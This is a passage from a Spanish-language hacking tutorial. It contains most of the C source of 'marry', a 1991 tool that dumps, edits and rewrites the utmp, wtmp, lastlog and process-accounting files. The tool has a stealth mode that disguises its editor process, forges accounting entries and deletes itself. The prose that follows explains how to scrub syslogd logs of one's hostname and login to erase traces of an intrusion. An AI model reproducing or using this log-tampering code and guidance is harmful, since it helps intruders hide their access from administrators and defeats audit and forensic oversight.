  10611.     close(fo);
  10612.     close(fi);
  10613.     free(buf);
  10614.     return 1;
  10615. }
  10616.  
  10617. bool backup(src)
  10618. char *src;
  10619. {
  10620.     printf("backup = %s\n", a_Backup);
  10621.     fflush(stdout);
  10622.     return copyf(src, a_Backup);
  10623. }
  10624.  
  10625. char *match_s(haystack, needle, n)
  10626. char *haystack;
  10627. char *needle;
  10628. int n;
  10629. {
  10630. static char tmp[256];
  10631.     strncpy(tmp, haystack, n>sizeof(tmp)? sizeof(tmp): n);
  10632.     return strstr(tmp, needle);
  10633. }
  10634.  
  10635. unsigned short atoi2(s)
  10636. char *s;
  10637. {
  10638.     return (s[0]-'0')*10+(s[1]-'0');
  10639. }
  10640.  
  10641. char *p_string(s, size)
  10642. char *s;
  10643. int size;
  10644. {
  10645. static char sss[1024];
  10646. register int n;
  10647. char *ss=sss;
  10648.     if (!*s) return quotes;
  10649.     
  10650.     for (n=0; n<size; n++)
  10651.     {
  10652.         char c=s[n];
  10653.         switch (c)
  10654.         {
  10655.         case '\\':
  10656.             *(ss++)=c;
  10657.             break;
  10658.         case ' ':
  10659.             *(ss++)='\\';
  10660.             break;
  10661.         case '\t':
  10662.             *(ss++)='\\';
  10663.             c='t';
  10664.             break;
  10665.         case '\n':
  10666.             *(ss++)='\\';
  10667.             c='n';
  10668.             break;
  10669.         case '\r':
  10670.             *(ss++)='\\';
  10671.             c='r';
  10672.             break;
  10673.         case 0:
  10674.             goto end;
  10675.         }
  10676.         *(ss++)=c;
  10677.     }
  10678. end:
  10679.     *ss=0;
  10680.     return sss;
  10681. }
  10682.  
  10683. char *skip_white(s)
  10684. char *s;
  10685. {    for (; *s && (*s=='\t' || *s==' '); s++);
  10686.     if (!*s || (*s=='\n')) return NULL;
  10687.     return s;
  10688. }
  10689.  
  10690. char *g_string(d, s, size)
  10691. char *d;
  10692. char *s;
  10693. int size;
  10694. {
  10695. int y;
  10696. char c;
  10697. char f_esc=0;
  10698.     for (y=0; y<size; y++) d[y]=0;
  10699.     if (!(s=skip_white(s))) return NULL;
  10700.     if (*s=='"' && *(s+1)=='"') return s+2;
  10701.     for (y=0; y<size; s++)
  10702.     {
  10703.         c=*s;
  10704.         if (f_esc)
  10705.         {
  10706.             switch(c)
  10707.             {
  10708.             case 'r':
  10709.                 c='\r';
  10710.                 break;
  10711.             case 'n':
  10712.                 c='\n';
  10713.                 break;
  10714.             case 't':
  10715.                 c='\t';
  10716.                 break;
  10717.             }
  10718.             f_esc=0;
  10719.         } else {
  10720.             switch(c)
  10721.             {
  10722.             case '\\':
  10723.                 f_esc=1;
  10724.                 continue;
  10725.             case ' ':
  10726.             case '\t':
  10727.             case '\n':
  10728.             case '\0':
  10729.                 goto end;
  10730.             }
  10731.         }
  10732.         d[y++]=c;
  10733.     }
  10734. end:
  10735.     return s+1;
  10736. }
  10737.  
  10738. char *time_s(tt)
  10739. time_t tt;
  10740. {
  10741. static char s[13];
  10742.     time_t t=tt; /* some compilers won't take a parameter address */
  10743.     struct tm *tp;
  10744.     tp=localtime(&t);
  10745.     sprintf(s, "%02d%02d%02d%02d%02d%02d",
  10746.         tp->tm_year, tp->tm_mon+1, tp->tm_mday,
  10747.         tp->tm_hour, tp->tm_min, tp->tm_sec);
  10748.     return s;
  10749. }
  10750.  
  10751. time_t time_i(s)
  10752. char *s;
  10753. {
  10754.     struct tm lt;
  10755.     time_t t;
  10756.     if (strlen(s)!=12) return (time_t)-1;
  10757.     time(&t);
  10758.     lt=*localtime(&t);
  10759.     lt.tm_year=atoi2(s);
  10760.     lt.tm_mon=atoi2(s+2)-1;
  10761.     lt.tm_mday=atoi2(s+4);
  10762.     lt.tm_hour=atoi2(s+6);
  10763.     lt.tm_min=atoi2(s+8);
  10764.     lt.tm_sec=atoi2(s+10);
  10765.     lt.tm_isdst=-1;
  10766.     return mktime(<);
  10767. }
  10768.  
  10769. char *
  10770. bgetgrgid(u)
  10771. gid_t u;
  10772. {
  10773. struct group *gr;
  10774.     if (!gida)
  10775.     {
  10776.         int n;
  10777.         gida=(char **)Smalloc(sizeof(char *)*MAX_UID);
  10778.         for (n=0; n<MAX_UID; n++) gida[n]=NULL; 
  10779.     }
  10780.     if (gida[u]==(char *)-1) return NULL;
  10781.     if (gida[u]) return gida[u];
  10782.     if (!(gr=getgrgid(u))) 
  10783.     {
  10784.         gida[u]=(char *)-1;
  10785.         return NULL;
  10786.     }
  10787.     gida[u]=Smalloc(strlen(gr->gr_name)+1);
  10788.     strcpy(gida[u], gr->gr_name);
  10789.     return gida[u];
  10790. }
  10791.  
  10792. char *
  10793. bgetpwuid(u)
  10794. uid_t u;
  10795. {
  10796. struct passwd *pw;
  10797.     if (!uida)
  10798.     {
  10799.         int n;
  10800.         uida=(char **)Smalloc(sizeof(struct passwd *)*MAX_UID);
  10801.         for (n=0; n<MAX_UID; n++) uida[n]=NULL; 
  10802.     }
  10803.     if (uida[u]==(char *)-1) return NULL;
  10804.     if (uida[u]) return uida[u];
  10805.     if (!(pw=getpwuid(u))) 
  10806.     {
  10807.         uida[u]=(char *)-1;
  10808.         return NULL;
  10809.     }
  10810.     uida[u]=Smalloc(strlen(pw->pw_name)+1);
  10811.     strcpy(uida[u], pw->pw_name);
  10812.     return uida[u];
  10813. }
  10814.  
  10815. #ifdef UTMP
  10816. bool dump_utmp(uline, ut)
  10817. int uline;
  10818. struct S_UTMP *ut;
  10819. {
  10820.     time_t tim;
  10821.     if (a_Pattern)
  10822.     {
  10823.         if (!match(ut->ut_user, a_Pattern) &&
  10824.             !match(ut->ut_line, a_Pattern)
  10825. #ifdef UT_HOST
  10826.             && !match(ut->UT_HOST, a_Pattern)
  10827. #endif
  10828.             ) {if (!f_Exclude) return 1;}
  10829.         else if (f_Exclude) return 1;
  10830.      }
  10831.     fprintf(afh, "%05x", uline-1);
  10832.     fprintf(afh, " %-8s", p_string(ut->ut_user, sizeof(ut->ut_user)));
  10833.     fprintf(afh, " %-11s", p_string(ut->ut_line, sizeof(ut->ut_line)));
  10834. #ifdef UT_ID
  10835.     fprintf(afh, " %-4s", p_string(ut->UT_ID, sizeof(ut->UT_ID)));
  10836. #endif
  10837. #ifdef UT_TYPE
  10838.     fprintf(afh, " %-2x", ut->UT_TYPE);
  10839. #endif
  10840. #ifdef UT_PID
  10841.     fprintf(afh, " %-5d", (int)ut->UT_PID);
  10842. #endif
  10843. #if defined(UT_TIME) || defined (UT_TV)
  10844. #  ifdef UT_TIME
  10845.     tim=ut->UT_TIME;
  10846. #  else
  10847.     tim=ut->UT_TV.tv_sec;
  10848. #  endif
  10849.     fprintf(afh, " %s", time_s(tim));
  10850. #endif
  10851. #ifdef UT_ADDR
  10852.     fprintf(afh, " %-15s", inet_ntoa(*((struct in_addr *)&ut->UT_ADDR)));
  10853. #endif
  10854. #ifdef UT_HOST
  10855.     fprintf(afh, " %s", p_string(ut->UT_HOST, sizeof(ut->UT_HOST)));
  10856. #endif
  10857.     fputc('\n', afh);
  10858.     return 1;
  10859. }
  10860. #endif
  10861.  
  10862. #ifdef LASTLOG
  10863. bool dump_lastlog(uline, ll)
  10864. int uline;
  10865. struct lastlog *ll;
  10866. {
  10867.     char *name;
  10868.     struct passwd *pw;
  10869.     if (f_Uid) 
  10870.     {
  10871.         pw=getpwuid(uline-1);
  10872.         name=pw? pw->pw_name: quotes;
  10873.     } else
  10874.     {
  10875.       static char s[6];
  10876.           sprintf(s, "%05d", uline-1);
  10877.         name=s;
  10878.     }
  10879.     if (a_Pattern)
  10880.     {
  10881.         if (
  10882.             (!uid || (uid->pw_uid!=(uline-1))) &&
  10883.             (!f_Uid || strstr(name, a_Pattern)) &&
  10884. #ifdef LL_HOST
  10885.             !match(ll->ll_host, a_Pattern) &&
  10886. #endif
  10887.             !match(ll->ll_line, a_Pattern)
  10888.             ) {if (!f_Exclude) return 1;}
  10889.         else if (f_Exclude) return 1;
  10890.      }
  10891.     fprintf(afh, "%05x", uline-1);
  10892.     fprintf(afh, " %-8s", name);
  10893.     fprintf(afh, " %-11s", p_string(ll->ll_line, sizeof(ll->ll_line)));
  10894.     fprintf(afh, " %s", time_s(ll->ll_time));
  10895. #ifdef LL_HOST
  10896.     fprintf(afh, " %s", p_string(ll->LL_HOST, sizeof(ll->LL_HOST)));
  10897. #endif
  10898.     fputc('\n', afh);
  10899.     return 1;
  10900. }
  10901. #endif
  10902.  
  10903. #ifdef PACCT
  10904. bool dump_pacct(uline, ac)
  10905. int uline;
  10906. struct acct *ac;
  10907. {
  10908.     char *name;
  10909.     char *gr_name;
  10910.     if (!(name=bgetpwuid(ac->ac_uid)))
  10911.     {
  10912.       static char s[6];
  10913.           sprintf(s, "%05d", ac->ac_uid);
  10914.         name=s;
  10915.     }
  10916.     if (!(gr_name=bgetgrgid(ac->ac_gid)))
  10917.     {
  10918.       static char s[6];
  10919.           sprintf(s, "%05d", ac->ac_gid);
  10920.         gr_name=s;
  10921.     }
  10922.     if (a_Pattern)
  10923.     {
  10924.         if (
  10925.             (!uid || (uid->pw_uid!=ac->ac_uid)) &&
  10926.             (strstr(name, a_Pattern)) &&
  10927.             (strstr(gr_name, a_Pattern))
  10928.             ) {if (!f_Exclude) return 1;}
  10929.         else if (f_Exclude) return 1;
  10930.     }
  10931.     fprintf(afh, "%05x", uline-1);
  10932.     fprintf(afh, " %-8s", name);
  10933.     fprintf(afh, " %-8s", gr_name);
  10934.     fprintf(afh, " %-10s", p_string(ac->ac_comm, sizeof(ac->ac_comm)));
  10935.     if (ac->ac_tty==(dev_t)-1)
  10936.         fputs(" ----", afh);
  10937.     else
  10938.         fprintf(afh, " %04x", ac->ac_tty);
  10939.     fprintf(afh, " %2x", ac->ac_flag);
  10940.     fprintf(afh, " %s", time_s(ac->ac_btime));
  10941.     fputc('\n', afh);
  10942.     return 1;
  10943. }
  10944. #endif
  10945.  
  10946. FVOID makedump()
  10947. {
  10948. int uline;
  10949.     if ((ifh=fopen(a_Input, "r"))==NULL)
  10950.     {
  10951.         perror(a_Input);
  10952.         exit(1);
  10953.     }
  10954.     if ((afh=fopen(a_Dump, "w"))==NULL)
  10955.     {
  10956.         perror(a_Dump);
  10957.         exit(1);
  10958.     }
  10959.     fputc('\n', stdout);
  10960.     globline=0;
  10961.     mes="entries disassembled: ";
  10962.     for (uline=1; fread(mode_data, mode_size, 1, ifh)>0; uline++)
  10963.     {
  10964.         display();
  10965.         switch(mode)
  10966.         {
  10967. #ifdef UTMP
  10968.         case 'W':
  10969.             dump_utmp(uline, mode_data);
  10970.             break;
  10971. #endif
  10972. #ifdef LASTLOG
  10973.         case 'L':
  10974.             dump_lastlog(uline, mode_data);
  10975.             break;
  10976. #endif
  10977. #ifdef PACCT
  10978.         case 'A':
  10979.             dump_pacct(uline, mode_data);
  10980.             break;
  10981. #endif
  10982.         }
  10983.     }
  10984.     display_end();
  10985.     fclose(afh);
  10986.     fclose(ifh);
  10987. }
  10988.  
  10989. int seek_ifh(uline)
  10990. int uline;
  10991. {
  10992.     if (ftell(ifh)!=mode_size*(uline-1))
  10993.         if (fseek(ifh, mode_size*(uline-1), SEEK_SET)==-1)
  10994.             return 0;
  10995.     return 1;
  10996. }
  10997.  
  10998. #ifdef UTMP
  10999. int mod_utmp(ut, p)
  11000. struct S_UTMP *ut;
  11001. char *p;
  11002. {
  11003.     char *op;
  11004. static char tmp[255];
  11005. #if defined(UT_TIME) || defined(UT_TV)
  11006. #endif
  11007.     op=p;
  11008.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  11009.     if (!(p=g_string(ut->ut_user, p, sizeof(ut->ut_user)))) return 0;
  11010.     if (!(p=g_string(ut->ut_line, p, sizeof(ut->ut_line)))) return 0;
  11011. #ifdef UT_ID
  11012.     if (!(p=g_string(ut->UT_ID, p, sizeof(ut->UT_ID)))) return 0;
  11013. #endif
  11014. #ifdef UT_TYPE
  11015.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  11016.     sscanf(tmp, "%x", (unsigned int *)&(ut->UT_TYPE));
  11017. #endif
  11018. #ifdef UT_PID
  11019.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  11020.     ut->UT_PID=atoi(tmp);
  11021. #endif
  11022. #if defined(UT_TIME) || defined(UT_TV)
  11023.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  11024. #  ifdef UT_TIME
  11025.     if ((ut->UT_TIME=time_i(tmp))==(time_t)-1)
  11026. #  else /* UT_TV */
  11027.     if ((ut->UT_TV.tv_sec=time_i(tmp))==(time_t)-1)
  11028. #  endif
  11029.         fprintf(stderr, "warning: invalid time spec %s", op);
  11030. #endif
  11031. #ifdef UT_ADDR
  11032.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  11033.     ut->UT_ADDR=inet_addr(tmp);
  11034. #endif
  11035. #ifdef UT_HOST
  11036.     if (!(p=g_string(ut->UT_HOST, p, sizeof(ut->UT_HOST)))) return 0;
  11037. #endif
  11038.     return 1;
  11039. }
  11040. #endif
  11041.  
  11042. #ifdef LASTLOG
  11043. int mod_lastlog(ll, p)
  11044. struct lastlog *ll;
  11045. char *p;
  11046. {
  11047.     char *op;
  11048. static char tmp[255];
  11049.     op=p;
  11050.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  11051.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; /*skip name*/
  11052.     if (!(p=g_string(ll->ll_line, p, sizeof(ll->ll_line)))) return 0;
  11053.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  11054.     if ((ll->ll_time=time_i(tmp))==(time_t)-1)
  11055.         fprintf(stderr, "warning illegal time: %s\n", op);
  11056. #ifdef LL_HOST
  11057.     if (!(p=g_string(ll->ll_host, p, sizeof(ll->ll_host)))) return 0;
  11058. #endif
  11059.     return 1;
  11060. }
  11061. #endif
  11062.  
  11063. #ifdef PACCT
  11064. int mod_pacct(ac, p)
  11065. struct acct *ac;
  11066. char *p;
  11067. {
  11068. static char tmp[255];
  11069. struct passwd *pw;
  11070. struct group *gr;
  11071. char *op;
  11072. long int t;
  11073. unsigned int tu;
  11074.     op=p;
  11075.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  11076.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  11077.     if (sscanf(tmp, "%ld", &t)!=1)
  11078.     {
  11079.         if (!(pw=getpwnam(tmp)))
  11080.             fprintf(stderr, "warning: unknown username %s\n", op);
  11081.         else
  11082.             ac->ac_uid=pw->pw_uid;
  11083.     } else ac->ac_uid=t;
  11084.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  11085.     if (sscanf(tmp, "%ld", &t)!=1)
  11086.     {
  11087.         if (!(gr=getgrnam(tmp)))
  11088.             fprintf(stderr, "warning: unknown group %s\n", op);
  11089.         else
  11090.             ac->ac_gid=pw->pw_gid;
  11091.     } else ac->ac_gid=t;
  11092.     if (!(p=g_string(ac->ac_comm, p, sizeof(ac->ac_comm)))) return 0;
  11093.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  11094.     if (sscanf(tmp, "%x", &tu)!=1) ac->ac_tty=(dev_t)-1;
  11095.     else ac->ac_tty=tu;
  11096.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  11097.     if (sscanf(tmp, "%x", &tu)!=1)
  11098.         fprintf(stderr, "warning: invalid flags %s\n", op);
  11099.     else ac->ac_flag=tu;
  11100.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  11101.     if ((ac->ac_btime=time_i(tmp))==(time_t)-1)
  11102.         fprintf(stderr, "warning: illegal time: %s\n", op);
  11103.     return 1;
  11104. }
  11105. #endif
  11106.  
  11107. bool wcopy(uline)
  11108. int uline;
  11109. {
  11110.     if (!seek_ifh(uline)) return 0;
  11111.     while (fread(mode_data, mode_size, 1, ifh)>0)
  11112.     {
  11113.         display();
  11114. #ifdef PACCT
  11115.         if (f_Security && f_Auto && mode=='A')
  11116.         {
  11117.             struct acct *p; 
  11118.             p=(struct acct *)mode_data;
  11119.             if (!strncmp(p->ac_comm, ac_comm_hide, 
  11120. sizeof(ac_comm_hide)))
  11121.             {
  11122.                 ac_saved.ac_btime=p->ac_btime;
  11123.                 *p=ac_saved;
  11124.             }
  11125.         }
  11126. #endif
  11127.         if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  11128.     }
  11129. #ifndef NO_FTRUNCATE
  11130.     if (f_Squeeze && f_EditSrc) ftruncate(fileno(ofh), ftell(ofh));
  11131. #endif
  11132.     return 1;
  11133. }
  11134.  
  11135. bool domod(p)
  11136. char *p;
  11137. {
  11138. bool ret=0;
  11139.     if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  11140.     switch(mode)
  11141.     {
  11142. #ifdef UTMP
  11143.     case 'W':
  11144.         ret=mod_utmp(mode_data, p);
  11145.         break;
  11146. #endif
  11147. #ifdef LASTLOG
  11148.     case 'L':
  11149.         ret=mod_lastlog(mode_data, p);
  11150.         break;
  11151. #endif
  11152. #ifdef PACCT
  11153.     case 'A':
  11154.         ret=mod_pacct(mode_data, p);
  11155.         break;
  11156. #endif
  11157.     }
  11158.     if (!ret)
  11159.         fprintf(stderr, "warning: invalid dump input `%s'\n", p);
  11160.     return 1;
  11161. }
  11162.  
  11163. static wu_line=0;
  11164.  
  11165. int obj_update(uline, p, f_mod)
  11166. int uline;
  11167. char *p;
  11168. char f_mod;
  11169. {
  11170.     if (f_Squeeze)
  11171.     {
  11172.         display();
  11173.         seek_ifh(uline);
  11174.         if (f_mod) {if (!domod(p)) return 0;}
  11175.         else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  11176.         if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  11177.     } else {
  11178.         if (f_EditSrc)
  11179.         {
  11180.             if (f_mod)
  11181.                 fseek(ofh, mode_size*(uline-1), SEEK_SET);
  11182.         } else {
  11183.             while(++wu_line<uline)
  11184.             {
  11185.                 display();
  11186.                           if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  11187.                          if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  11188.             }
  11189.         }
  11190.         if (f_mod)
  11191.         {
  11192.             seek_ifh(uline);
  11193.             if (!domod(p)) return 0;
  11194.             if (f_mod==2) wu_line--; 
  11195.         } else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  11196.         if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  11197.         display();
  11198.     }
  11199. #ifdef PACCT
  11200.     if (f_Security && f_Auto && !f_mod && mode=='A')
  11201.         if (!uline%acct_step) ac_saved=*(struct acct *)mode_data;
  11202. #endif
  11203.     return 1;
  11204. }
  11205.  
  11206. FVOID makeobject()
  11207. {
  11208. int uline=1;
  11209. char line[1024];
  11210. char *p;
  11211. char f_mod;
  11212.     if ((ifh=fopen(a_Input, "r"))==NULL)
  11213.     {
  11214.         perror(a_Input);
  11215.         exit(1);
  11216.     }
  11217.     if ((afh=fopen(a_Dump, "r"))==NULL)
  11218.     {
  11219.         perror(a_Dump);
  11220.         exit(1);
  11221.     }
  11222.     if ((ofh=fopen(a_Output, f_EditSrc? "r+": "w"))==NULL)
  11223.     {
  11224.         perror(a_Output);
  11225.         exit(1);
  11226.     }
  11227. #ifdef PACCT
  11228.     if (f_Security && f_Auto && mode=='A')
  11229.         acct_step=(getpid()+8)%60;
  11230. #endif
  11231.     fputc('\n', stdout);
  11232.     globline=0;
  11233.     mes="entries assembled: ";
  11234.     while (1)
  11235.     {
  11236.         if (!fgets((p=line), sizeof(line), afh)) 
  11237.         {
  11238.             if (f_EditSrc)
  11239.             {
  11240. #ifndef NO_FTRUNCATE
  11241.                 if (f_Truncate)
  11242.                 {
  11243.                     fflush(ofh);
  11244.                                       ftruncate(fileno(ofh), uline*mode_size);
  11245.                 }
  11246. #endif
  11247.                 goto closeup;
  11248.             }
  11249.             if (!f_Truncate) wcopy(uline+1);
  11250.             goto closeup;
  11251.         }
  11252.         switch (*p)
  11253.         {
  11254.         case 0:
  11255.         case '#':
  11256.         case '\n':
  11257.             continue;
  11258.         case '=': 
  11259.             f_mod=1; 
  11260.             p++; 
  11261.             break;
  11262.         case '+':
  11263.             if (f_EditSrc)
  11264.             {
  11265.                 if (f_Squeeze)
  11266.                                  fprintf(stderr, "warning: the + operator can 
  11267. have \
  11268. unpredictable effects when used in conbination with -e and -s\n");
  11269.                 else
  11270.                 {
  11271.                                fprintf(stderr, "error: + operator used with -
  11272. e\n");
  11273.                     exit(1);
  11274.                 }
  11275.             }
  11276.             f_mod=2;
  11277.             p++;
  11278.             break;
  11279.         default: {f_mod=0; break;}
  11280.         }
  11281.         if (sscanf(p, "%x", &uline)!=1)
  11282.         {
  11283.             perror("invalid line number in ascii input");
  11284.             exit(1);
  11285.         }
  11286.         uline++;
  11287.         if (!obj_update(uline, p, f_mod))
  11288.          {
  11289.             perror("read/write failed");
  11290.             exit(1);
  11291.         }
  11292.     }
  11293. closeup:
  11294.     display_end();
  11295.     fclose(ofh);
  11296.     fclose(ifh);
  11297.     fclose(afh);
  11298. }
  11299.  
  11300. FVOID usage(s)
  11301. char *s;
  11302. {
  11303. fprintf(stderr, "usage: %s\t[-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat]
  11304.    [-v pat] [-m [WLA]]\n\
  11305. \t\t[-E editor] [-h program]\n", s);
  11306.     exit(1);
  11307. }
  11308.  
  11309. int main(argc, argv)
  11310. int argc;
  11311. char **argv;
  11312. {
  11313.     char *ed;
  11314.     char c;
  11315. #ifdef PACCT
  11316.     mode='A';
  11317. #endif
  11318. #ifdef LASTLOG
  11319.     mode='L';
  11320. #endif
  11321. #ifdef UTMP
  11322.     mode='W';
  11323. #endif
  11324.  
  11325.     puts("marry v1.0 (c) 1991 -- Proff -- All rights reserved.");
  11326.     umask(022);
  11327.     while ((c=getopt(argc, argv, "i:o:d:aetsp:v:m:uScDnE:h:b:"))!=-1)
  11328.     switch(c)
  11329.     {
  11330.         case 'i':
  11331.             a_Input=optarg;
  11332.             break;
  11333.         case 'o':
  11334.             a_Output=optarg;
  11335.             break;
  11336.         case 'd':
  11337.             a_Dump=optarg;
  11338.             break;
  11339.         case 'a':
  11340.             f_Auto=1;
  11341.             break;
  11342.         case 'e':
  11343.             f_EditSrc=1;
  11344.             break;
  11345.         case 't':
  11346.             f_Truncate=1;
  11347.             break;
  11348.         case 's':
  11349.             f_Squeeze=1;
  11350.             break;
  11351.         case 'p':
  11352.             a_Pattern=optarg;
  11353.             break;
  11354.         case 'v':
  11355.             f_Exclude=1;
  11356.             a_Pattern=optarg;
  11357.             break;
  11358.         case 'm':
  11359.             mode=*optarg;
  11360.             break;
  11361.         case 'u':
  11362.             f_Uid=1;
  11363.             break;
  11364.         case 'S':
  11365.             f_Security=1;
  11366.             break;
  11367.         case 'c':
  11368.             f_Clean=1;
  11369.             break;
  11370.         case 'D':
  11371.             f_DeleteSelf=1;
  11372.             break;
  11373.         case 'n':
  11374.             f_NoBackups=1;
  11375.             break;
  11376.         case 'E':
  11377.             a_Editor=optarg;
  11378.             break;
  11379.         case 'h':
  11380.             a_Hide=optarg;
  11381.             break;
  11382.         case 'b':
  11383.             a_Backup=optarg;
  11384.             break;
  11385.         case '?':
  11386.         default:
  11387.                     fprintf(stderr, "%s: unknown option `%c'\n", argv[0], c);
  11388.             usage(argv[0]);
  11389.             /* NOT_REACHED */
  11390.     }
  11391.     if (a_Output && f_EditSrc)
  11392.     {
  11393.         perror("can't have -o and -e together");
  11394.         exit(1);
  11395.     }
  11396.     switch(mode)
  11397.     {
  11398. #ifdef UTMP
  11399.     case 'W':
  11400.         mode_size=sizeof(struct S_UTMP);
  11401.         mode_data=&s_utmp;
  11402.         if (!a_Input) a_Input=WTMP_FILE;
  11403.         break;
  11404. #endif
  11405. #ifdef LASTLOG
  11406.     case 'L':
  11407.         mode_size=sizeof(struct lastlog);
  11408.         mode_data=&s_lastlog;
  11409.         if (!a_Input) a_Input=LASTLOG_FILE;
  11410.         break;
  11411. #endif
  11412. #ifdef PACCT
  11413.     case 'A':
  11414.         mode_size=sizeof(struct acct);
  11415.         mode_data=&s_acct;
  11416.         if (!a_Input) a_Input=PACCT_FILE;
  11417.         break;
  11418. #endif
  11419.         default:
  11420.         fprintf(stderr, "unknown mode `%c'\n", mode);
  11421.         usage();
  11422.         /*NOT_REACHED*/
  11423.     }
  11424.     if (a_Pattern) uid=getpwnam(a_Pattern);
  11425.     if (uid) {uid_s=*uid; uid=&uid_s;}
  11426.     if (f_Auto)
  11427.     {
  11428.     struct stat st1, st2;
  11429.     int pid;
  11430.     int ws;
  11431.         if (stat(a_Editor, &st1))
  11432.         {
  11433.             fprintf(stderr, "error: editor `%s' must exist with -a (check -E 
  11434. value)\n", a_Editor);
  11435.             exit(1);
  11436.         }
  11437.         makedump();
  11438.         if (f_Security)
  11439.         {
  11440.             sprintf(ac_comm_hide, "m%d", getpid());
  11441.             symlink(a_Editor, ac_comm_hide);
  11442.             ed=ac_comm_hide;
  11443.         } else  ed=a_Editor;
  11444.  
  11445.         stat(a_Dump, &st1);
  11446.         if (!(pid=fork()))
  11447.         {
  11448.             printf("%s %s\n", ed, a_Dump);
  11449.             fflush(stdout);
  11450.             execlp(ed, ed, a_Dump, 0);
  11451.             perror(ed);
  11452.             _exit(1);
  11453.         }
  11454.         if (pid<0)
  11455.         {
  11456.             perror("fork");
  11457.             exit(1);
  11458.         }
  11459.         while (wait(&ws)!=pid);
  11460.         if (f_Security)
  11461.             unlink(ac_comm_hide);
  11462.         stat(a_Dump, &st2);
  11463.         if (st1.st_mtime==st2.st_mtime)
  11464.         {
  11465.                    fprintf(stderr, "`%s' not modified -- aborted\n", a_Dump);
  11466.             exit(1);
  11467.         }
  11468.         if (!a_Output || !strcmp(a_Input, a_Output))
  11469.         {
  11470.             backup(a_Input);
  11471.             f_backedup=1;
  11472.             if (!a_Output) a_Output=a_Input;
  11473.             if (!f_EditSrc)
  11474.                 a_Input=a_Backup;
  11475.         }
  11476.         makeobject();
  11477.         if (f_Clean)
  11478.             unlink(a_Dump);
  11479.         if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
  11480.     }
  11481.     else if (a_Output)
  11482.         {
  11483.             if (!strcmp(a_Input, a_Output))
  11484.             {
  11485.                 backup(a_Input);
  11486.                 f_backedup=1;
  11487.                 if (!f_EditSrc)
  11488.                     a_Input=a_Backup;
  11489.             }
  11490.             makeobject();
  11491.             if (f_Clean)
  11492.                 unlink(a_Dump);
  11493.             if ((f_Clean || f_NoBackups) && f_backedup) 
  11494. unlink(a_Backup);
  11495.         } else
  11496.             makedump();
  11497.     if (f_DeleteSelf) unlink(argv[0]);
  11498.     puts("Done.");
  11499.     if (f_Security)
  11500.     {
  11501.         close(0);
  11502.         close(1);
  11503.         close(2);
  11504.         setsid();
  11505.         if (a_Hide)
  11506.         {
  11507.             execlp(a_Hide, a_Hide, 0);
  11508.             perror(a_Hide);
  11509.         }
  11510.         if (f_Security)
  11511.             kill(getpid(), SIGKILL);
  11512.     }
  11513.     exit(0);
  11514. }
  11515.  
  11516. ------------ FIN -------------------------------------------------------------
  11517.  
  11518.         Bien, con estos programitas hemos conseguido borrar los logs mas
  11519.   usuales (utmp, wtmp, lastlog y acct) pero tambien hemos de tener en cuenta
  11520.   otros que pueden aparecer que se comentan a continuacion:
  11521.  
  11522.         El demonio syslogd que guarda informacion en distintos archivos
  11523.   indicados en el /etc/syslogd.conf aunque puede estar en otras ubicaciones.
  11524.   La ventaja que tiene el log creado por el syslogd sobre los otros es que
  11525.   mientras que tanto el utmp, wtmp, lastlog y acct tienen estructura de datos
  11526.   por lo que no se pueden modificar con un editor de textos normalmente
  11527.   (aunque tampoco ofrece grandes complicaciones), los ficheros producidos por
  11528.   el daemon syslogd si que son editables en modo texto por lo que usando el
  11529.   grep con un poco de gracia deberiamos borrar la mayoria de las huellas, es
  11530.   decir buscar en modo texto mensajes que pueden referir a nuestra conexion,
  11531.   por ejemplo podemos buscar el nombre de la maquina desde la que hemos
  11532.   conectado, nuestro login ,etc.
  11533.  
  11534.         A continuacion indico como funciona el syslogd.conf. Algunos de los
  11535.   tipos de procesos que pueden general mensajes son los siguientes:
  11536.  
  11537.   kern --> mensajes relativos al kernel
  11538.   user --> mensajes relativos a procesos ejecutados por usuarios normales.
  11539.   mail --> mensajes relativos al sistema de correo.
  11540.   lpr -->  mensajes relativos a impresoras.
  11541.   auth --> mensajes relativos a programas y procesos de autentificacion 
  11542.   (aquellos en los que estan involucrados nombres de usuarios y passwords, por 
  11543.   ejemplo login, su, getty, etc)
  11544.   daemon --> mensajes relativos a otros demonios del sistema.
  11545.  
  11546.         Mientras que pueden generar mensajes de los siguientes tipos:
  11547.  
  11548.   emerg --> emergencias graves.
  11549.   alert --> problemas que deben ser solucionados con urgencia.
  11550.   crit --> errores criticos.
  11551.   err --> errores ordinarios.
  11552.   warning --> avisos.
  11553.   notice --> cuando se da una condicion que no constituye un error pero a la
  11554.              que se le debe dar una cierta atencion.
  11555.   info --> mensajes informativos.
  11556.  
  11557.         Una desventaja que tiene el syslogd es que puede que envie los logs a
  11558.   otra maquina con lo que seran unas huellas dificiles de borrar. Esto no es
  11559.   nada usual pero lo comento para que sepais lo que os podeis encontrar por
  11560.   ahi afuera :o(.
  11561.  
  11562.         En muchos sistemas corre el tcp wrapper que ofrece posibilidades
  11563.   extras como ver que maquinas se pueden conectar o no a una maquina donde
  11564.   este el tcp wrapper instalado a los distintos servicios ( usando el
  11565.   host.allow y el host.deny) y ademas puede ofrecer la posibilidad de
  11566.   establecer logs adicionales. Para controlar y borrar estos logs debes mirar
